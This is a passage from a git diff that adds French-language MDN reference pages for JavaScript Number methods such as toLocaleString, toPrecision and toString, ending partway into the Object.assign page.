+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.toFixed")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/tointeger/index.html b/files/fr/web/javascript/reference/objets_globaux/number/tointeger/index.html
new file mode 100644
index 0000000000..cce3444088
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/tointeger/index.html
@@ -0,0 +1,56 @@
+---
+title: Number.toInteger()
+slug: Web/JavaScript/Reference/Objets_globaux/Number/toInteger
+tags:
+  - JavaScript
+  - Méthode
+  - Number
+  - Obsolete
+  - Reference
+translation_of: Archive/Web/JavaScript/Number.toInteger
+---
+<div>{{JSRef}}{{obsolete_header}}</div>
+
+<p>La méthode <strong><code>Number.toInteger()</code></strong> est utilisée pour évaluer la valeur passée en argument et la convertir en entier. Son implémentation a été supprimée.</p>
+
+<p>Si la valeur à convertir est {{jsxref("NaN")}}, {{jsxref("null")}} ou {{jsxref("undefined")}}, 0 sera renvoyé.<br>
+ Si la valeur à convertir est <code>false</code>, 0 sera renvoyé, si c'est <code>true</code>, 1 sera renvoyé.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Number.toInteger(nombre)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nombre</code></dt>
+ <dd>La valeur à convertir en entier.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_toInteger">Utiliser <code>toInteger</code></h3>
+
+<p>Voici quelques exemples utilisant la méthode :</p>
+
+<pre class="brush:js">Number.toInteger(0.1),     // 0
+Number.toInteger(1),       // 1
+Number.toInteger(Math.PI), // 3
+Number.toInteger(null)     // 0
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p><code>Number.toInteger</code> faisait partie de la spécification ECMAScript 6 mais a été retirée le 23/08/2013 dans la révision 17 du brouillon (<em>draft</em>).</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.toInteger")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'objet {{jsxref("Number")}} auquel appartient cette méthode.</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/tolocalestring/index.html b/files/fr/web/javascript/reference/objets_globaux/number/tolocalestring/index.html
new file mode 100644
index 0000000000..d05294de7a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/tolocalestring/index.html
@@ -0,0 +1,197 @@
+---
+title: Number.prototype.toLocaleString()
+slug: Web/JavaScript/Reference/Objets_globaux/Number/toLocaleString
+tags:
+  - Internationalisation
+  - JavaScript
+  - Méthode
+  - Number
+  - Prototype
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toLocaleString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toLocaleString()</strong></code> permet de renvoyer une chaîne de caractères représentant un nombre en tenant compte de la locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-tolocalestring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les arguments <code>locales</code> et <code>options</code> permettent à l'application de spécifier les options de formatage selon la langue utilisée. Ces arguments ont un effet sur le comportement de la fonction. Les implémentations passées, qui ignoraient les arguments <code>locales</code> et <code>options</code> se basaient uniquement sur l'implémentation pour ce qui concernait la locale et le format.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">objetNumber.toLocaleString([locales [, options]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Voir la section <a href="#compat" title="#Browser_Compatibility">compatibilité des navigateurs</a> afin de voir quels navigateurs supportent les arguments <code>locales</code> et <code>options</code>. L'exemple <a href="#check">Vérifier le support des arguments <code>locales</code> et <code>options</code></a> permet de détecter cette fonctionnalité.</p>
+
+<div class="note">
+<p><strong>Note :</strong> L'API ECMAScript Internationalization, implémentée avec Firefox 29, a ajouté l'argument <code>locales</code> à la méthode <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Number/toLocaleString"><code>Number.toLocaleString</code></a>. Si l'argument vaut <code>undefined</code>,cette méthode renvoie les nombres selon la locale du système d'exploitation, les versions antérieures de Firefox renvoyaient un résultat correspondant à la locale anglaise. Ce changement a été rapporté comme une régression, avec un risque de manque de rétrocompatibilité, avant d'être corrigé avec Firefox 55, voir le bug ({{bug(999003)}}).</p>
+</div>
+
+<p>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/NumberFormat','Paramètres')}}</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente le nombre indiqué en tenant compte de la locale.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_toLocaleString()">Utiliser <code>toLocaleString()</code></h3>
+
+<p>En utilisant la fonction simplement, sans spécifier de locale, la chaîne est formatée dans la locale par défaut et avec des options par défaut.</p>
+
+<pre class="brush: js">var nombre = 3500;
+
+console.log(nombre.toLocaleString()); // Affichera "3 500" pour la locale française
+</pre>
+
+<h3 id="Vérifier_le_support_des_arguments_locales_et_options"><a id="check" name="check">Vérifier le support des arguments <code>locales</code> et <code>options</code></a></h3>
+
+<p>Les arguments <code>locales</code> et <code>options</code> ne sont pas supportés par tous les navigateurs. Afin de vérifier qu'une implémentation les prend en charge, on se base sur le fait que les balises de langues incorrectes renvoient une exception{{jsxref("RangeError")}} :</p>
+
+<pre class="brush: js">function testSupporttoLocaleString() {
+    var nombre = 0;
+    try {
+        nombre.toLocaleString("i");
+    } catch (e) {
+        return e​.name === "RangeError";
+    }
+    return false;
+}
+</pre>
+
+<p>Avant ES5.1, il n'était pas nécessaire pour les implémentations de provoquer une erreur d'intervalle si <code>toLocaleString</code> était appelé avec des arguments.</p>
+
+<p>Afin de vérifier le support pour tous les environnements, y compris ceux qui supportent ECMA-262 avant la version 5.1, on peut tester les fonctionnalités définies dans ECMA-402, directement sur <code>Number.prototype.toLocaleString</code> :</p>
+
+<pre class="brush: js">function toLocaleStringSupportsOptions() {
+  return !!(typeof Intl == 'object' &amp;&amp; Intl &amp;&amp; typeof Intl.NumberFormat == 'function');
+}
+</pre>
+
+<p>Cela permet de tester la présence d'un objet global <code>Intl</code>, de vérifier que celui-ci n'est pas <code>null</code> et qu'il a une méthode <code>NumberFormat</code>.</p>
+
+<h3 id="Utiliser_l'argument_locales">Utiliser l'argument <code>locales</code></h3>
+
+<p>Cet exemple illustre les variations possibles entre les différents formats localisés. Afin que le format de langue utilisé soit celui de votre utilisateur, assurez-vous de fournir la langue utilisée (ainsi que des langues de secours) en utilisant l'argument <code>locales</code> :</p>
+
+<pre class="brush: js">var nombre= 123456.789;
+
+// Pour la locale allemande, on utilise un point comme séparateur
+// pour les milliers et une virgule comme séparateur décimal
+console.log(nombre.toLocaleString("de-DE"));
+// → 123.456,789
+
+// Les locales arabes, dans la plupart des pays arabophones, utilisent
+// les chiffres arabes
+console.log(nombre.toLocaleString("ar-EG"));
+// → ١٢٣٤٥٦٫٧٨٩
+
+// En Inde, on utilise des séparateurs de milliers/lakh/crore
+console.log(nombre.toLocaleString("en-IN"));
+// → 1,23,456.789
+
+// La clé d'extension nu indique un système numérique, ici le système chinois décimal
+console.log(nombre.toLocaleString("zh-Hans-CN-u-nu-hanidec"));
+// → 一二三,四五六.七八九
+
+// quand on souhaite utiliser un langage qui n'est pas supporté, on peut
+// inclure un langage de secours. Exemple ici avec le balinais et l'indonésien
+console.log(nombre.toLocaleString(["ban", "id"]));
+// → 123.456,789
+</pre>
+
+<h3 id="Utiliser_l'argument_options">Utiliser l'argument <code>options</code></h3>
+
+<p>Les résultats fournis par <code>toLocaleString</code> peuvent être déclinés en utilisant l'argument <code>options</code> :</p>
+
+<pre class="brush: js">var nombre = 123456.789;
+
+// on formate selon une devise
+console.log(nombre.toLocaleString("de-DE", {style: "currency", currency: "EUR"}));
+// → 123.456,79 €
+
+// le yen japonais ne possède pas de centimes
+console.log(nombre.toLocaleString("ja-JP", {style: "currency", currency: "JPY"}))
+// → ￥123,457
+
+// on se limite à trois chiffres significatifs
+console.log(nombre.toLocaleString("en-IN", {maximumSignificantDigits: 3}));
+// → 1,23,000
+
+// on utilise la langue du système pour la mise en
+// forme des nombres
+var num = 30000.65;
+console.log(num.toLocaleString(undefined, {minimumFractionDigits: 2, maximumFractionDigits: 2}));
+// → "30,000.65" quand l'anglais est la langue par défaut
+// → "30.000,65" quand l'allemand est la langue par défaut
+// → "30 000,65" quand le français est la langue par défaut
+</pre>
+
+<h2 id="Performance">Performance</h2>
+
+<p>Lors du formatage de beaucoup de nombres, il est préférable de créer un objet {{jsxref("NumberFormat")}} et d'utiliser sa méthode {{jsxref("NumberFormat.format")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.3', 'Number.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Number.prototype.toLocaleString', 'Number.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.toLocaleString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/toprecision/index.html b/files/fr/web/javascript/reference/objets_globaux/number/toprecision/index.html
new file mode 100644
index 0000000000..236a7bb51e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/toprecision/index.html
@@ -0,0 +1,105 @@
+---
+title: Number.prototype.toPrecision()
+slug: Web/JavaScript/Reference/Objets_globaux/Number/toPrecision
+tags:
+  - JavaScript
+  - Méthode
+  - Number
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toPrecision
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toPrecision()</strong></code> renvoie une chaîne de caractères représentant un nombre avec la précision donnée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-toprecision.html")}}</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>numObj</var>.toPrecision([<var>pré</var><var>cision</var>])</pre>
+
+<h3 id="Paramètre">Paramètre</h3>
+
+<dl>
+ <dt><code>précision</code></dt>
+ <dd>Paramètre optionnel. Un entier spécifiant le nombre de chiffres significatifs.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Cette méthode renvoie une chaîne de caractères représentant l'objet {{jsxref("Number")}} en notation à point fixe ou en notation exponentielle, arrondi avec un nombre de chiffres significatifs égal à <code>précision</code>. Le principe utilisé pour les arrondis est celui décrit dans la page de la méthode {{jsxref("Number.prototype.toFixed()")}}.</p>
+
+<p>Si l'argument <code>précision</code> n'est pas utilisé, la méthode aura le même effet que {{jsxref("Number.prototype.toString()")}}. Si cet argument n'est pas un nombre entier, on prendra le nombre entier le plus proche.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Si <code>précison</code> n'est pas compris, au sens large, entre 1 et 100, on aura une exception <code>RangeError</code>. Les implémentations peuvent supporter des valeurs supérieures et/ou inférieures. Le standard ECMA-262 ne nécessite qu'une précision allant jusqu'à 21 chiffres significatifs.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var objetNumber = 5.123456;
+console.log(objetNumber.toPrecision());  //affiche "5.123456"
+console.log(objetNumber.toPrecision(5)); //affiche "5.1235"
+console.log(objetNumber.toPrecision(2)); //affiche "5.1"
+console.log(objetNumber.toPrecision(1)); //affiche "5"
+
+numObj = 0.000123;
+
+console.log(numObj.toPrecision());    // affiche "0.000123"
+console.log(numObj.toPrecision(5));   // affiche "0.00012300"
+console.log(numObj.toPrecision(2));   // affiche "0.00012"
+console.log(numObj.toPrecision(1));   // affiche "0.0001"
+
+// dans certaines circonstances, on peut avoir une notation exponentielle
+console.log((1234.5).toPrecision(2)); // "1.2e+3"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.7', 'Number.prototype.toPrecision')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.toPrecision")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/number/tosource/index.html
new file mode 100644
index 0000000000..da204d2ea4
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/tosource/index.html
@@ -0,0 +1,57 @@
+---
+title: Number.prototype.toSource()
+slug: Web/JavaScript/Reference/Objets_globaux/Number/toSource
+tags:
+  - JavaScript
+  - Méthode
+  - Number
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>La méthode <code><strong>toSource()</strong></code> permet de renvoyer une chaîne de caractère représentant le code source de l'objet.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">objetNumber.toSource();
+Number.toSource();
+</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant le code source de l'objet.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>toSource()</code> renvoie les valeurs suivantes :</p>
+
+<ul>
+ <li>Pour l'objet natif {{jsxref("Number")}}, <code>toSource()</code> renvoie la chaîne suivante, indiquant que le code source n'est pas disponible :
+
+  <pre class="brush: js">function Number() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Pour les instances de {{jsxref("Number")}}, <code>toSource()</code> renvoie une chaîne représentant le code source de l'objet.</li>
+</ul>
+
+<p>Cette méthode est généralement appelée par du code interne au moteur JavaScript et n'est pas utilisée dans des scripts JavaScript.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette méthode ne fait partie d'aucun standard. Elle a été implémentée avec JavaScript 1.3.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.toSource")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/number/tostring/index.html
new file mode 100644
index 0000000000..d7f9af286e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/tostring/index.html
@@ -0,0 +1,120 @@
+---
+title: Number.prototype.toString()
+slug: Web/JavaScript/Reference/Objets_globaux/Number/toString
+tags:
+  - JavaScript
+  - Méthode
+  - Number
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toString()</strong></code> renvoie une chaîne de caractère représentant l'objet Number.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-tostring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>numObj</var>.toString([base])</pre>
+
+<h3 id="Paramètre">Paramètre</h3>
+
+<dl>
+ <dt><code>base</code></dt>
+ <dd>Paramètre optionnel. Un entier compris entre 2 et 36 qui indique la base du système numérique à utiliser pour représenter la valeur.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant l'objet {{jsxref("Number")}}.</p>
+
+<h3 id="Exception">Exception</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>
+ <p>Si <code>toString()</code> reçoit une base qui n'est pas comprise entre 2 et 36, une exception <code>RangeError</code> est levée.</p>
+ </dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet {{jsxref("Number")}} surcharge la méthode <code>toString()</code> de {{jsxref("Object")}} et n'hérite donc pas de {{jsxref("Object.prototype.toString()")}}. Pour les objets <code>Number</code>, la méthode <code>toString()</code> renvoie une représentation du nombre, dans une base donnée, en une chaîne de caractères.</p>
+
+<p>La méthode <code>toString()</code> analyse son premier argument et tente de renvoyer une chaîne de caractères représentant le nombre en une base donnée. Pour les bases supérieures à 10, les lettres de l'alphabet sont utilisées pour représenter les numéraux supérieurs à 9. Par exemple, pour les nombres hexadécimaux (en base 16), les lettres <code>a</code> à <code>f</code> sont utilisées.</p>
+
+<p>Si la base n'est pas spécifiée, on utilisera la base 10 par défaut.</p>
+
+<p>Si l'objet <code>Number</code> est négatif, le signe sera conservé. Ceci, même si la base utilisée est la base 2 : la chaîne de caractères rendue sera la représentation binaire du nombre positif précédée par un signe -. La représentation <strong>n'est pas</strong> le complément à deux du nombre.</p>
+
+<p>Si l'objet <code>Number</code> n'est pas un nombre entier, le point (.) sera utilisé pour séparer la partie entière et décimale.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_toString">Utiliser <code>toString</code></h3>
+
+<pre class="brush:js">var compte = 10;
+
+console.log(compte.toString());   // affiche "10"
+console.log((17).toString());     // affiche "17"
+console.log((17.2).toString());   // affiche "17.2"
+
+var x = 6;
+
+console.log(x.toString(2));       // affiche "110"
+console.log((254).toString(16));  // affiche "fe"
+
+
+console.log((-10).toString(2));   // affiche "-1010"
+console.log((-0xff).toString(2)); // affiche "-11111111"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée par JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.2', 'Number.prototype.tostring')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.tostring', 'Number.prototype.tostring')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.tostring', 'Number.prototype.tostring')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.toString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/valueof/index.html b/files/fr/web/javascript/reference/objets_globaux/number/valueof/index.html
new file mode 100644
index 0000000000..ad57b1599c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/number/valueof/index.html
@@ -0,0 +1,86 @@
+---
+title: Number.prototype.valueOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Number/valueOf
+tags:
+  - JavaScript
+  - Méthode
+  - Number
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>valueOf()</strong></code> renvoie la valeur primitive correspondant à celle représentée par l'objet {{jsxref("Number")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-valueof.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>objetNumber</var>.valueOf()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre qui représente la valeur primitive de l'objet {{jsxref("Number")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode est généralement utilisée de façon interne au moteur JavaScript et n'est pas utilisée de façon explicite dans du code JavaScript.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_valueOf">Utiliser <code>valueOf</code></h3>
+
+<pre class="brush:js">var numObj = new Number(10);
+console.log(typeof numObj); // object
+
+var num = numObj.valueOf();
+console.log(num);           // 10
+console.log(typeof num);    // number
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.4', 'Number.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Number.valueOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/object/assign/index.html b/files/fr/web/javascript/reference/objets_globaux/object/assign/index.html
new file mode 100644
index 0000000000..8fdbdde216
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/object/assign/index.html
@@ -0,0 +1,219 @@
+---
+title: Object.assign()
+slug: Web/JavaScript/Reference/Objets_globaux/Object/assign
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Object
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/assign
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Object.assign()</strong></code> est utilisée afin de copier les valeurs de toutes les propriétés directes (non héritées) d'un objet qui sont énumérables sur un autre objet cible. Cette méthode renvoie l'objet cible.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-assign.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Object.assign(<var>cible</var>, ...<var>sources</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible.</dd>
+ <dt><code>sources</code></dt>
+ <dd>Le(s) objet(s) source(s).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'objet cible, éventuellement modifié, est renvoyé.</p>
+
+<h2 id="Description">Description</h2>
+
